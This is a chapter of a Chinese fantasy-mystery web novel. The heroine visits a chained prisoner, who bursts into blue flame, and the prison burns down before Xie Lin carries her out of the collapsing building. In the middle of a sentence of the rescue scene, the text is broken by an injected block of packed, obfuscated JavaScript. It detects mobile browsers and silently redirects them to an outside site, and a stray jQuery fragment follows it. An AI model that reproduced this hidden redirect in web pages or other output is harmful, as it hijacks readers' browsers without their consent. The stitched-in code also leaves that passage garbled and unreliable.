申明意被谢临拒了,心中虽有些失落,却也不是那等矫情的性子。

    见他不愿同行,她便也不强求,转身去寻了父亲,要了一块通行令牌,又点了一个府中得力的侍卫跟着,便乘着一顶小轿,往天牢的方向去了。

    夜已深,街道上空空荡荡的,只有更夫打梆子的声音远远传来,间或夹杂着几声犬吠。

    小轿在青石板路上颠簸前行,轿中的申明意掀开帘子的一角,望着窗外沉沉的夜色,心中反复琢磨着今日宫中那桩命案。

    贵妃的死状与画舫上的船工一模一样,都是被剥了脸皮,悬梁吊死,手法如出一辙。

    真正的凶手还逍遥法外,而且极有可能就藏在宫中,甚至可能就是今夜赴宴的某个人。

    她越想越觉得心中不安,仿佛有一张无形的网正在她头顶缓缓收拢,而她却看不清那张网的源头在何处。

    天牢门口守着两排全副武装的卫兵,个个面色冷峻,目光如炬。

    申明意出示了通行令牌,卫兵查验过后,便放她进去了。

    这天牢一回生二回熟,她沿着走廊走到最深处,在关押萧景川的那间牢房前停了下来。

    萧景川正靠坐在牢房的角落里,手脚都戴着沉重的镣铐,身上那件月白色的长衫已经脏污不堪,沾满了稻草和灰尘,头发也散乱了,整个人看起来狼狈至极。

    他听到脚步声,抬起头来,看到来人是申明意,嘴角扯出一抹嘲讽的笑容,哑着嗓子道:“哟,申大小姐来了?怎么,是来送我上路的,还是来听我讲故事的?”

    申明意在栅栏前蹲下身来,借着墙上那盏昏黄的油灯打量着萧景川。

    他虽然狼狈,可那双眼睛却依然亮得惊人,带着一种破罐子破摔的坦然和讥诮,仿佛已经看淡了一切。

    她没有理会他的嘲讽,开门见山地道:“萧景川,今日宫中又发生了一起命案,死的是贵妃娘娘,死状与画舫上的船工一模一样。你对此有什么想说的?”

    萧景川闻言,眉毛微微一动,随即又恢复了那副慵懒的模样,嗤笑道:“我能有什么想说的?我都被关在这暗无天日的鬼地方好几天了,连只蚊子都飞不出去,还能去宫里杀人?申大小姐,你太高看我了。”

    “我知道不是你干的。”申明意直视着他的眼睛,一字一句地道,“所以我才来问你。你知道真凶是谁,对不对?”

    萧景川的笑容微微一滞,随即又扩大了几分,带着一种近乎癫狂的意味:“我知道又如何?不知道又如何?反正我已经是个将死之人了,多一事不如少一事。申大小姐,你请回吧,我没什么好说的。”

    申明意看着他,心中涌起一股说不出的感觉。

    她沉默了片刻,轻声道:“萧景川,你为什么要替那个人顶罪?他给了你什么好处?值得你用命去换?”

    萧景川没有回答,只是别过头去,望着墙壁上那盏昏黄的油灯,目光中闪过一丝复杂的光芒。

    过了好一会儿,他才缓缓开口,声音低沉而沙哑:“有些事,不是用好处来衡量的。申大小姐,你还年轻,这世上有太多你不懂的事。”

    申明意正要再说什么,脑海中忽然响起了那道久违的声音:

    【检测到附近妖物情绪波动剧烈,宿主可尝试使用感化技能,有机会获取关键信息。】

    申明意心中一动,试探着调动体内的灵力,将一缕温和的力量透过栅栏,缓缓地朝萧景川蔓延过去。

    她放柔了声音,用一种近乎耳语的语调道:“萧景川,你心中有什么放不下的事,可以说给我听。我不会评判你,也不会利用你的话对付你。我只是想知道真相。”

    萧景川的身体微微震了一下,缓缓转过头来,看着她。

    他的目光中闪过一丝迷茫和挣扎,仿佛有什么东西正在他的内心深处松动。他张了张嘴,正要说什么——

    忽然,他的瞳孔骤然收缩,脸色在一瞬间变得惨白。

    他的身体开始剧烈地颤抖起来,仿佛有什么东西在他体内燃烧一般,一股灼热的气息从他身上散发出来,将他周身的空气都烤得扭曲了起来。

    他的皮肤上开始浮现出一道道幽蓝色的纹路,如同蛛网一般迅速蔓延开来,从他的脖颈延伸到脸颊,从手腕延伸到指尖,密密麻麻,触目惊心。

    申明意大吃一惊,猛地站起身来,后退了几步,却见萧景川的身体猛地迸发出一团幽蓝色的火焰,那火焰如同有生命一般,瞬间席卷了他的全身,将他整个人包裹在了一片熊熊烈火之中!

    那火焰的温度极高,隔着几步远的距离,申明意都能感受到那股灼热的气浪扑面而来,烤得她的脸颊生疼。

    “萧景川!”申明意失声喊道,想要冲上前去,却被那股灼热的气浪逼得连连后退,根本无法靠近。

    萧景川在火焰中发出一声凄厉的惨叫,那叫声中充满了痛苦和绝望,却又带着一种解脱般的释然。

    他的身体在火焰中扭曲收缩,化为灰烬,连同他身上的衣物和镣铐,一起被那幽蓝色的火焰吞噬殆尽,连一丝痕迹都没有留下。

    地上只剩下一滩灰黑色的粉末,在火光中微微泛着红光,仿佛还在燃烧。

    申明意呆呆地站在原地,看着那滩灰烬,整个人仿佛被抽走了魂魄一般,脑海中一片空白。

    她见过死亡,见过各种各样的尸体,可她却从未见过一个人以这样一种方式在她面前活生生地化为灰烬。

    那种视觉和心灵的双重冲击,让她几乎无法承受,胃里一阵翻涌,她弯下腰,干呕了几声,却什么也吐不出来。

    可她没有时间悲伤,更没有时间消化这一切。

    因为那幽蓝色的火焰在吞噬了萧景川之后,并没有就此熄灭,反而顺着牢房中的稻草和木屑蔓延开来,点燃了墙壁上的油灯,引爆了角落里堆积的杂物。

    火势在一瞬间变得不可收拾,浓烟滚滚,火光冲天,整个天牢仿佛变成了一座人间炼狱。

    申明意被浓烟呛得连连咳嗽,眼前一片模糊,几乎看不清方向。

    她捂住口鼻,弯着腰,凭借着记忆往出口的方向跑去。

    可天牢中的通道错综复杂,加上浓烟的遮挡,她跑了几步便迷失了方向,不知道自己身在何处。

    四周到处都是燃烧的木头和碎石,头顶不断有燃烧的横梁掉落下来,砸在地上,溅起一片片火星,将她的去路一次次堵死。

    她被迫改变方向,一次又一次地寻找新的出路,可每一次都被火焰和坍塌的障碍挡了回来。

    肺部像被火烧一般疼痛,每一次呼吸都带着灼热的烟尘,呛得她眼泪直流。

    她的视线越来越模糊,脚步也越来越踉跄,仿佛随时都会倒下。

    头顶传来一阵阵令人牙酸的嘎吱声,那是横梁被火烧断的声音。

    申明意抬起头来,透过浓烟和火光,看到头顶那根粗大的横梁正在缓缓倾斜,上面的火焰已经将它烧得焦黑,裂缝如同蛛网一般蔓延开来。

    那根横梁随时都有可能掉下来,而她正处于它的正下方。

    她想要躲开,可她的腿已经软得几乎无法支撑她的身体了。

    申明意踉跄着走了两步,便跌倒在地上,膝盖磕在一块尖锐的石头上,传来一阵剧痛,让她忍不住发出一声闷哼。

    浓烟灌入她的口鼻,呛得她几乎无法呼吸。她的意识开始一点一点地模糊起来,眼前的火光变得越来越遥远,仿佛隔着一层厚厚的毛玻璃。

    申明意心中涌起一股强烈的不甘。她还有很多事情没有做,还有很多谜团没有解开,还有很多人没有好好告别。

    她不想就这样死在这里,不想就这样不明不白地化作一堆灰烬,和萧景川一样,连个收尸的人都没有。

    可她的身体已经不听使唤了。

    天牢之外,已经乱成了一锅粥。

    火势从地下的牢房蔓延上来,冲破了天牢的大门,浓烟滚滚,火光冲天,将半边天空都映成了骇人的红色。

    那火焰如同一头挣脱了枷锁的远古凶兽,张开了血盆大口,疯狂地吞噬着它所触及的一切。

    附近的居民被惊动了,纷纷从家中跑出来看热闹,远远地围了一圈,指指点点,议论纷纷。

    守卫们手忙脚乱地提水灭火,可那火势太猛,区区几桶水泼上去,连个泡都冒不出来,便被蒸发成了白汽,消失在灼热的空气中。

    几个胆大的守卫试图冲进去救人,可刚靠近门口,便被那股灼热的气浪逼了回来,连眉毛都被燎焦了,衣裳的边缘也卷曲了起来,散发出一股焦糊的气味。

    他们只能眼睁睁地看着火势越来越大,束手无策,急得团团转。

    “快救火!快救火啊!”

    “里面还有人!申家的大小姐还在里面!”

    “进不去了!火太大了!进去就是送死!”

    “天牢要塌了!快退后!退后!”

    人群中传来一阵阵惊呼和哭喊声,几个妇人捂着脸,不敢再看那冲天的火光。

    一个白发苍苍的老者拄着拐杖,望着那片火海,连连摇头,叹息道:“造孽啊,造孽啊……”

    就在这时,一道红色的身影如同一支离弦的箭一般,从人群中冲了出来,不顾一切地往火海中冲去。

    他的速度快得惊人,周围的人甚至还没有来得及反应过来,他已经冲到了天牢的大门前,马上就要冲进那片熊熊烈火之中。

    几个守卫认出了他,大惊失色,连忙上前阻拦:“世子!不能进去!里面太危险了!火势太大了,进去就是送死!”

    谢临一言不发,一掌推开挡在面前的守卫,那守卫被他推得踉跄着后退了好几步,一屁股坐在地上,摔了个结实。

    另一个守卫还想上前阻拦,却被谢临那冰冷而疯狂的目光震慑住了,伸出去的手僵在半空中,竟不敢再往前一步。

    “谁敢拦我,我杀了谁。”谢临的声音低沉而沙哑,带着一股不容置疑的决绝,仿佛从地狱深处传来一般,让在场的每一个人都不由自主地打了个寒颤。

    他说完这句话,便头也不回地冲进了火海。

    一进入天牢,一股灼热的气浪便扑面而来,仿佛一堵无形的墙壁,狠狠地撞在他的身上,几乎要将他的呼吸都夺走。

    空气中的温度高得惊人,每一次呼吸都像是吸入了一口滚烫的岩浆,从喉咙一路灼烧到肺部,疼得他几乎要弯下腰来。

    他用袖子捂住口鼻,眯着眼睛,在浓烟和火光中艰难地前行。

    他一边躲闪着那些掉落的碎片,一边大声喊着申明意的名字,声音在火海中回荡,却被火焰的咆哮声吞噬殆尽,得不到任何回应。

    “申明意!明意!你在哪里?!”

    他的声音嘶哑而急切,带着一种近乎疯狂的焦虑。

    他找遍了天牢,心越来越沉,越来越冷,一种前所未有的恐惧攫住了他的心脏,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826624|210974||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    让他几乎无法呼吸。

    “申明意!你回答我!你在哪里?!”他的声音已经带上了几分哭腔,嘶哑得几乎不像人声,仿佛一头濒临崩溃的野兽在发出最后的哀嚎。

    他继续往更深处找去,脚下的地面越来越烫,可他仿佛没有知觉一般,只是固执地疯狂地往前走着找着。

    终于在天牢最深处的角落里找到了她。

    她蜷缩在墙角,已经昏迷了过去,脸上沾满了烟灰和泪痕,头发散乱,被火烧焦了好几缕,衣裳被烧破了好几处,露出里面那件墨光流转的蛇鳞护甲。

    她的呼吸很微弱,几乎察觉不到,胸口只有极其轻微的起伏,仿佛随时都会停止。

    整个人如同一只破碎的布娃娃一般,静静地躺在那里,苍白脆弱,了无生气。

    谢临在看到她的那一瞬间,整个人仿佛被一道惊雷劈中了一般,僵在了原地。

    他的腿一软,几乎要跪倒在地上,可他咬着牙,硬撑着走到了她的身边,扑通一声跪了下来,颤抖着伸出手,探了探她的鼻息。

    还有气,虽然很微弱,几乎感觉不到,但还有气。

    他还来得及。

    他还没有失去她。

    一股巨大的庆幸如同潮水一般涌上他的心头,几乎要将他淹没。

    他的眼眶一热,泪水差点夺眶而出,可他硬生生地忍住了,深吸了一口气,颤抖着将她从地上抱起来,小心翼翼地搂在怀中,仿佛在抱一件易碎的稀世珍宝一般。

    他将她的头靠在自己的肩膀上,用自己的身体替她挡住四周的热浪和火星,然后转身,朝着出口的方向冲去。

    脚步比来时更加急切,几乎是在狂奔。

    这座天牢随时都有可能坍塌,他必须在它彻底倒塌之前将她带出去。

    可就在谢临跑出几步的时候,头顶传来一声巨大的嘎吱声,那声音沉闷而刺耳,仿佛一头巨兽在发出临死前的哀鸣。

    他抬起头来,只见一根燃烧的巨型横梁正在缓缓倾斜,碎石和火星从上方簌簌落下,落在他的肩头和发间。

    他的瞳孔骤然收缩。

    那根横梁正对着他和申明意的方向,以万钧之势砸落下来,速度快得惊人,根本不给他任何思考和躲闪的时间。

    他本能地想要侧身躲开,可怀中抱着申明意,他的动作受到了极大的限制,根本无法在那么短的时间内避开那根横梁的覆盖范围。

    他咬紧牙关,猛地转过身来,将申明意紧紧地护在怀中,用自己整个背部迎向了那根砸落的横梁。

    “嘭——”

    一声沉闷的巨响,伴随着骨头碎裂的声音,在火海中回荡开来。

    那根横梁重重地砸在谢临的背上,将他整个人砸得向前一个趔趄,膝盖一软,差点跪倒在地。

    一股腥甜的味道涌上他的喉咙,他没能忍住,一口鲜血喷了出来,洒在地上。

    他的脊椎仿佛要断裂了一般,疼得他眼前一阵阵发黑,几乎要昏厥过去。

    可他始终没有松开抱着申明意的手。

    他将她紧紧地护在怀中,用自己的身体为她撑起了一片安全的天地。

    申明意的脸贴在他的胸口,即使是在昏迷中,她的眉头也仿佛微微舒展了一些,仿佛感受到了那份来自他身体的温暖和保护。

    他忍受着巨痛一步一步地往前走着。

    终于,在他的意识即将彻底崩溃的那一刻,谢临看到了前方那扇燃烧的大门,以及大门外那片被火光映红的夜空。

    他咬着最后一口力气,猛地冲出了大门。

    在踏出门口的那一刻,身后传来一声惊天动地的巨响,整座天牢终于支撑不住,彻底坍塌了。

    砖石瓦砾如同瀑布一般倾泻而下,将那片火海埋葬在了一片废墟之中。

    巨大的气浪从身后涌来,将他整个人掀飞出去,他在空中翻转了几圈,将申明意抱的死死的,用自己的身体承受了所有的冲击和震荡。

    谢临重重地摔在地上,滚了好几滚才停住。

    他的背部和手臂被地面的碎石划出了无数道伤口,鲜血淋漓,染红了他的衣裳,也染红了她身上那件鹅黄色的短襦。

    他趴在地上,大口大口地喘着粗气,浑身上下没有一处不疼的,仿佛整个人都被拆散了又重新组装起来一般。

    脸上也沾满了烟灰和血迹,嘴唇干裂,布满血丝,看起来狼狈至极,哪里还有半分平日那副意气风发的模样。

    可他顾不上这些,他挣扎着爬起来,低头看着申明意,颤抖着伸出手,用指尖轻轻地拂去她脸上的灰烬。

    “对不起,对不起,明意……”

    “都怪我,是我不好。”

    “都是因为我。”

    谢临整个人仿佛虚脱了一般,瘫坐在地上,将她紧紧地搂在怀中,将脸埋在她的发间,肩膀微微颤抖着。

    这位平日里意气风发,天不怕地不怕的谢世子,在火光映照的废墟旁,无声地落下了一滴滚烫的泪水。

    那滴泪水顺着他的脸颊滑落,滴在她沾满烟灰的脸颊上,在火光中折射出一瞬晶莹的光芒,然后缓缓滑落,消失在她的鬓发间,仿佛从未出现过一般。

    他抱着她,坐在那片废墟前,坐了很久很久。

    直到太医赶到将申明意从他怀中小心翼翼地接走,他才终于松开了手。

    缓缓地闭上了眼睛,身体一软,向后倒去,陷入了彻底的昏迷。